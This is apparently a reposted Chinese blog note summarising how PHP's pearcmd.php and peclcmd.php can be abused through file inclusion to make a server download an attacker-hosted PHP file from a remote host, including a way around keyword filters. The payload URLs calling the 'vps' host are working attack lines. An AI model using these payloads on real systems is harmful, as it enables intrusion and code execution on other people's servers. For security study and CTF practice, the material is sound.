关于pearcmd利用总结 |
您所在的位置:网站首页 › peardownload › 关于pearcmd利用总结 |
环境条件 有两个条件 pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。 不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php 并且php.ini当中 register_argc_argv=On需要开启 准备12+/tmp/test.php install1/?file=/www/server/php/52/lib/php/peclcmd.php&+install+http://vps/1.php文件就会被下载到/tmp/pear/download/1.php,回显能看到 download个人觉得这个比上面install舒服点,这个直接下载到web目录了,不用提前知道web目录具体路径 1/?file=/www/server/php/52/lib/php/peclcmd.php&+download+http://vps/1.php 闲话如果pearcmd关键词被ban怎么半,其实可以用peclcmd.php作为平替,在这个php文件当中其实就是引入了pearcmd.php 123456789if ('/www/server/php/52/lib/php' != '@'.'include_path'.'@') { ini_set('include_path', '/www/server/php/52/lib/php'); $raw = false;} else { // this is a raw, uninstalled pear, either a cvs checkout, or php distro $raw = true;}define('PEAR_RUNTYPE', 'pecl');require_once 'pearcmd.php'; 参考文章https://tttang.com/archive/1312/ |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |